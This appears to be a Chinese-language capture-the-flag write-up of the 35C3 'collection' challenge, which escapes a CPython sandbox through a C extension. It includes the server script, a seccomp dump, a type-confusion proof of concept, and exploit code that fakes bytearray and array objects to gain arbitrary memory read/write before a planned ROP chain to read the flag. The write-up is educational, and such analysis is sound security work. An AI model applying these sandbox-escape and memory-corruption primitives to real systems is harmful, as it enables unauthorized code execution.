题目描述
behold my collection
The container is built with the following important statements
1 2 3 FROM ubuntu:18.04 RUN apt-get -y install python3.6 COPY build/lib.linux-x86_64-3.6/Collection.cpython-36m-x86_64-linux-gnu.so /usr/local/lib/python3.6/dist-packages/Collection.cpython-36m-x86_64-linux-gnu.so
Copy the library in the same destination path and check that it works with
Challenge runs at 35.207.157.79:4444
Difficulty: easy
题目信息 题目给了python3.6 和 Collection.cpython-36m-x86_64-linux-gnu.so 这两个比较有用的文件。其中从命名我们可以得知 Collection.cpython-36m-x86_64-linux-gnu.so 是C语言写的一个Python库。
在 Server.py 文件里,我们可以得知这是一个 Python escape题。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import osimport tempfileimport osimport stringimport randomdef randstr (): return '' .join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range (10 )) flag = open ("flag" , "r" ) prefix = """ from sys import modules del modules['os'] import Collection keys = list(__builtins__.__dict__.keys()) for k in keys: if k != 'id' and k != 'hex' and k != 'print' and k != 'range': del __builtins__.__dict__[k] """ size_max = 20000 print ("enter your code, enter the string END_OF_PWN on a single line to finish" )code = prefix new = "" finished = False while size_max > len (code): new = raw_input("code> " ) if new == "END_OF_PWN" : finished = True break code += new + "\n" if not finished: print ("max length exceeded" ) sys.exit(42 ) file_name = "/tmp/%s" % randstr() with open (file_name, "w+" ) as f: f.write(code.encode()) os.dup2(flag.fileno(), 1023 ) flag.close() cmd = "python3.6 -u %s" % file_name os.system(cmd)
从关键的代码:
1 2 3 4 5 6 7 8 9 10 prefix = """ from sys import modules del modules['os'] import Collection keys = list(__builtins__.__dict__.keys()) for k in keys: if k != 'id' and k != 'hex' and k != 'print' and k != 'range': del __builtins__.__dict__[k] """
我们可以得知,这他删掉了 os 模块,只留下了 id ,hex ,print ,range。我们第一思路就是,突破口在
Collection.cpython-36m-x86_64-linux-gnu.so 这个扩展库里。于是我们先去逆向这个文件
对 Collection 逆向 我们可以清晰的看到这个文件保留了符号:
由于是用来作为Python扩展库,方便用来直接 import 所以保留符号应该是其一个原因之一。由于以前没有用C写过Python的扩展库。所以了解了一下:
Building C and C++ Extensions
从中我们大概可以得知的是 PyInit_Collection初始化Collection
将要实现的此类型的自定义类型。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int64 PyInit_Collection () { __int64 v0; __int64 v1; if ( (int )PyType_Ready(&qword_2041E0) < 0 ) return 0LL ; v0 = PyModule_Create2(&unk_204120, 1013LL ); v1 = v0; if ( v0 ) { ++qword_2041E0; PyModule_AddObject(v0, "Collection" , &qword_2041E0); mprotect((void *)0x439000 , 1uLL , 7 ); MEMORY[0x43968F ] = _mm_load_si128((const __m128i *)&xmmword_27E0); MEMORY[0x43969F ] = MEMORY[0x43968F ]; mprotect((void *)0x439000 , 1uLL , 5 ); init_sandbox(); } return v1; }
在这个过程中,我们发现其在 seccomp 函数中做了一些 seccomp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x20 0x00 0x00 0x00000000 A = sys_number 0004: 0x15 0x00 0x01 0x0000003c if (A != exit ) goto 0006 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0012 0011: 0x05 0x00 0x00 0x00000011 goto 0029 0012: 0x15 0x00 0x01 0x0000000b if (A != munmap) goto 0014 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014: 0x15 0x00 0x01 0x00000019 if (A != mremap) goto 0016 0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0016: 0x15 0x00 0x01 0x00000013 if (A != readv) goto 0018 0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0018: 0x15 0x00 0x01 0x000000ca if (A != futex) goto 0020 0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0020: 0x15 0x00 0x01 0x00000083 if (A != sigaltstack) goto 0022 0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0022: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0024 0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0024: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0026 0025: 0x05 0x00 0x00 0x00000037 goto 0081 0026: 0x15 0x00 0x01 0x0000000d if (A != rt_sigaction) goto 0028 0027: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0028: 0x06 0x00 0x00 0x00000000 return KILL 0029: 0x05 0x00 0x00 0x00000000 goto 0030 0030: 0x20 0x00 0x00 0x00000010 A = args[0] 0031: 0x02 0x00 0x00 0x00000000 mem[0] = A 0032: 0x20 0x00 0x00 0x00000014 A = args[0] >> 32 0033: 0x02 0x00 0x00 0x00000001 mem[1] = A 0034: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0038 0035: 0x60 0x00 0x00 0x00000000 A = mem[0] 0036: 0x15 0x02 0x00 0x00000000 if (A == 0x0) goto 0039 0037: 0x60 0x00 0x00 0x00000001 A = mem[1] 0038: 0x06 0x00 0x00 0x00000000 return KILL 0039: 0x60 0x00 0x00 0x00000001 A = mem[1] 0040: 0x20 0x00 0x00 0x00000020 A = args[2] 0041: 0x02 0x00 0x00 0x00000000 mem[0] = A 0042: 0x20 0x00 0x00 0x00000024 A = args[2] >> 32 0043: 0x02 0x00 0x00 0x00000001 mem[1] = A 0044: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0048 0045: 0x60 0x00 0x00 0x00000000 A = mem[0] 0046: 0x15 0x02 0x00 0x00000003 if (A == 0x3) goto 0049 0047: 0x60 0x00 0x00 0x00000001 A = mem[1] 0048: 0x06 0x00 0x00 0x00000000 return KILL 0049: 0x60 0x00 0x00 0x00000001 A = mem[1] 0050: 0x20 0x00 0x00 0x00000028 A = args[3] 0051: 0x02 0x00 0x00 0x00000000 mem[0] = A 0052: 0x20 0x00 0x00 0x0000002c A = args[3] >> 32 0053: 0x02 0x00 0x00 0x00000001 mem[1] = A 0054: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0058 0055: 0x60 0x00 0x00 0x00000000 A = mem[0] 0056: 0x15 0x02 0x00 0x00000022 if (A == 0x22) goto 0059 0057: 0x60 0x00 0x00 0x00000001 A = mem[1] 0058: 0x06 0x00 0x00 0x00000000 return KILL 0059: 0x60 0x00 0x00 0x00000001 A = mem[1] 0060: 0x20 0x00 0x00 0x00000030 A = args[4] 0061: 0x02 0x00 0x00 0x00000000 mem[0] = A 0062: 0x20 0x00 0x00 0x00000034 A = args[4] >> 32 0063: 0x02 0x00 0x00 0x00000001 mem[1] = A 0064: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0068 0065: 0x60 0x00 0x00 0x00000000 A = mem[0] 0066: 0x15 0x02 0x00 0xffffffff if (A == 0xffffffff) goto 0069 0067: 0x60 0x00 0x00 0x00000001 A = mem[1] 0068: 0x06 0x00 0x00 0x00000000 return KILL 0069: 0x60 0x00 0x00 0x00000001 A = mem[1] 0070: 0x20 0x00 0x00 0x00000038 A = args[5] 0071: 0x02 0x00 0x00 0x00000000 mem[0] = A 0072: 0x20 0x00 0x00 0x0000003c A = args[5] >> 32 0073: 0x02 0x00 0x00 0x00000001 mem[1] = A 0074: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0078 0075: 0x60 0x00 0x00 0x00000000 A = mem[0] 0076: 0x15 0x02 0x00 0x00000000 if (A == 0x0) goto 0079 0077: 0x60 0x00 0x00 0x00000001 A = mem[1] 0078: 0x06 0x00 0x00 0x00000000 return KILL 0079: 0x60 0x00 0x00 0x00000001 A = mem[1] 0080: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0081: 0x05 0x00 0x00 0x00000000 goto 0082 0082: 0x20 0x00 0x00 0x00000010 A = args[0] 0083: 0x02 0x00 0x00 0x00000000 mem[0] = A 0084: 0x20 0x00 0x00 0x00000014 A = args[0] >> 32 0085: 0x02 0x00 0x00 0x00000001 mem[1] = A 0086: 0x15 0x00 0x05 0x00000000 if (A != 0x0) goto 0092 0087: 0x60 0x00 0x00 0x00000000 A = mem[0] 0088: 0x15 0x00 0x02 0x00000001 if (A != 0x1) goto 0091 0089: 0x60 0x00 0x00 0x00000001 A = mem[1] 0090: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0091: 0x60 0x00 0x00 0x00000001 A = mem[1] 0092: 0x15 0x00 0x05 0x00000000 if (A != 0x0) goto 0098 0093: 0x60 0x00 0x00 0x00000000 A = mem[0] 0094: 0x15 0x00 0x02 0x00000002 if (A != 0x2) goto 0097 0095: 0x60 0x00 0x00 0x00000001 A = mem[1] 0096: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0097: 0x60 0x00 0x00 0x00000001 A = mem[1] 0098: 0x06 0x00 0x00 0x00000000 return KILL
从中,我们可以大胆的猜测,我们需要构造一个任意读,通过 readv 读取flag 然后将其打印出来。
另外一点,由于编译后的Python结构体不全,我们可以通过一个方法:
(这个方法是丁老教我的)
这个方法中需要注意的是,对于正常的debug编译来说是没有类型信息的,需要使用-g3
的debug编译等级,需要在编译python的时候:
1 2 ./configure CFLAGS=-g3 make -j4
这样就可以编译出带有type的python,然后用ida打开,选择file -> produce file -> create C header
就可以导出到header,在逆向so库的这边把header导入就可以得到类型信息了。
在恢复完类型信息之后,我们就可以看看so库里定义的一些关键的接口了:
1 2 3 4 5 .data:00000000002041E0 dq offset CollectionTypeMethod; tp_methods ... .data:00000000002041E0 dq offset CollectionInit; tp_init .data:00000000002041E0 dq 0 ; tp_alloc .data:00000000002041E0 dq offset CollectionNew ; tp_new
接下来要注意的函数是new和init函数,因为它们是在初始化新的Collection对象时调用的第一个函数。总之,tp_new检查是否使用字典初始化了对象,并确保字典只有32个或更少的成员。
1 2 3 4 5 6 7 import Collectiona = Collection.Collection({"a" :1337 , "b" :[1.2 ], "c" :{"a" :45545 }}) print (a.get("a" ))print (a.get("b" ))print (a.get("c" ))
总结一下题目的基本逻辑:
server中:设置py沙箱,打开flag,设置fd为1023然后启动用户的python程序。设置沙箱:这一步导致我们根本不用考虑去绕过python层的沙箱了,因为在import Collection
的时候有init_sandbox
操作,加入了seccomp,只能使用白名单,我主要在意了白名单里有write
和readv
,但是没有open。
有Collection.Collection
对象,和该对象上的.get
方法。对象初始化接受一个dict,dict的key必须为字符串,然后value为数值/list/dict中的一种。.get
接受一个字符串,然后返回初始化时传入的内容。
在初始化时会建立一个handler
,相当于key的缓存,会保存下传入的dict的key的内容(字符串内容)和类型(是整数还是列表还是字典),建立之后会存入缓存的handler里,如果存在“一样”的handler,就会直接使用该handler,而不新建。
handler的“一样”的比较,是将两个handler按照字典序排序,之后比较两个handler相应位置的key和类型是不是都一样,如果完全一样则一样,否则则不同
在.get
的时候,首先从handler
里找到对应key所在的索引,然后从对象里的slots
里取出内容返回,如果是整数,还需要进行一次转换,将整数转换为python的整数对象类型。
Vul 看一个 PoC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 root@linuxkit-025000000001 /pwn import Collectiona = Collection.Collection({'a' : 1 , 'b' : 2 , 'c' : 3 }) b = Collection.Collection({'b' : 1 , 'a' : 2 , 'c' : 3 }) print (a.get("a" )) print (a.get("b" )) print (a.get("c" )) print (b.get('a' )) print (b.get('b' )) print (b.get('c' )) 1 2 3 1 2 3
原本 a 被定义为:{‘a’: 1, ‘b’: 2, ‘c’: 3}
b 被定义为:{'b': 1, 'a': 2, 'c': 3}
那么本应该 b.get(‘a’)获取的应该是2 但是在这个时候缺拿到是 1 这是为什么?
不同对象的两个handler是经过排序的,排序之后认为相同,则就使用现有的handler了,但是事实上两个handler相同之后,他们的顺序可能是不同的,而后在.get
的时候又用到了这个顺序,不同的顺序对应的索引肯定不同。
这样就造成了一个类似于类型混淆的点
利用 我们尝试用get()
返回一个我在内存中创建的伪造的Python列表对象。我希望这会让我通过List的内容任意写.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 typedef struct { PyObject_VAR_HEAD PyObject **ob_item; Py_ssize_t allocated; } PyListObject;
然后丁老意识到,用list做任意读写并不现实,那么我们需要找一个能够直接写入值而非对象的类型。之前都想到bytes了,现在需要他可以更改,那就bytearray。
1 2 3 4 5 6 7 8 typedef struct { PyObject_VAR_HEAD Py_ssize_t ob_alloc; char *ob_bytes; char *ob_start; int ob_exports; } PyByteArrayObject;
看到ob_bytes
大家应该就放心了,这直接就是一个缓冲区,可以直接更改,size也可控,所以如果能伪造一个bytearray,就可以任意读写了。
所以总结一下思路:
建立一个目标bytearray
利用bytes伪造一个list,id(X) + 0x20
即为写入的bytes内容的地址(这个可以调试得到),指针数组设置为bytearray地址的ob_bytes
位置
利用构造的list,将一个新的bytearray的地址写入到第一步中的bytearray的ob_bytes
和ob_start
位置
这样就已经做到任意读写了,每次修改第一步的bytearray,让他的内容是一个伪造的bytearray,地址指向需要读写的地址,然后使用第三步的进行读写
后来丁老意识到 我们需要绕一下 bytearary 和 list ,方法如下:
1 2 3 4 5 6 7 8 9 10 11 subs = [].__class__.mro()[1 ].__subclasses__() for cls in subs: if cls.__name__ == 'bytearray' : bytearray = cls if cls.__name__ == 'list' : list = cls if cls.__name__ == 'bytes' : bytes = cls
之后我们就可以去构造我们的任意读写:
set_addr(addr): 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 payload = p64(0x10) + p64(id(bytearray)) + p64(0x1000) + p64(0x1001) + \ p64(addr) + p64(addr) for i in range(6 * 8): buf[i] = payload[i] def arbitrary_read(addr, length): set_addr(addr) assert length < 0x1000 # can be larger, but .. really? return some[:length] def arbitrary_write(addr, length, buf): set_addr(addr) for i in range(length): some[i] = buf[i] 之后呢,有了任意读写之后就很简单了,有了打开的flag的fd,有`readv`和`write`,构造好数据进行读取即可。接着构造一个rop。 完整EXP见 35c3CTF [collection writeup](https://xz.aliyun.com/t/3747) 值得一提的是,在调试的过程中,gdb set stop-on-solib-events 1就能断下来。 另外在结束后,我也看了一下作者的 [exploit](https://github.com/bkth/35c3ctf/blob/master/collection/dist_exploit.py) ,作者这里用了 array.array 这样的一个对象 ```c typedef struct { typedef struct arrayobject { PyObject_VAR_HEAD char *ob_item; // <- Make this point to the address you want to read/write Py_ssize_t allocated; const struct arraydescr *; // <- Make this point to "L" for long PyObject *weakreflist; int ob_exports; } arrayobject;
它与List有一些相似之处,但关于这种类型的重要一点是它的内容存储为C类型而不是Python对象!有了这个,任意读写都会非常容易
因此就没有了起那么的那些类型绕过:
作者的 任意读写如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 def read (addr ): d = {} d["a1" ] = 0x1 d["a2" ] = 0x9d3340 d["a3" ] = 0x4 d["a4" ] = addr d["a5" ] = 0x4 d["a6" ] = 0x715620 d["a7" ] = 0x0 d["a8" ] = 0x0 fakeContainer = Collection.Collection(d) collAddr = id (fakeContainer) fakeArr = collAddr + 24 a = Collection.Collection({"a" :1337 , "b" :[1.2 ]}) b = Collection.Collection({"b" :[1.3 ], "a" :fakeArr}) fakeobj = b.get("b" ) roots.append(fakeobj) return fakeobj[0 ] def write (addr, val ): d = {} d["a1" ] = 0x1 d["a2" ] = 0x9d3340 d["a3" ] = 0x4 d["a4" ] = addr d["a5" ] = 0x4 d["a6" ] = 0x715620 d["a7" ] = 0x0 d["a8" ] = 0x0 fakeContainer = Collection.Collection(d) collAddr = id (fakeContainer) fakeArr = collAddr + 24 a = Collection.Collection({"a" :1337 , "b" :[1.2 ]}) b = Collection.Collection({"b" :[1.3 ], "a" :fakeArr}) fakeobj = b.get("b" ) roots.append(fakeobj) fakeobj[0 ] = val
参考链接: https://xz.aliyun.com/t/3747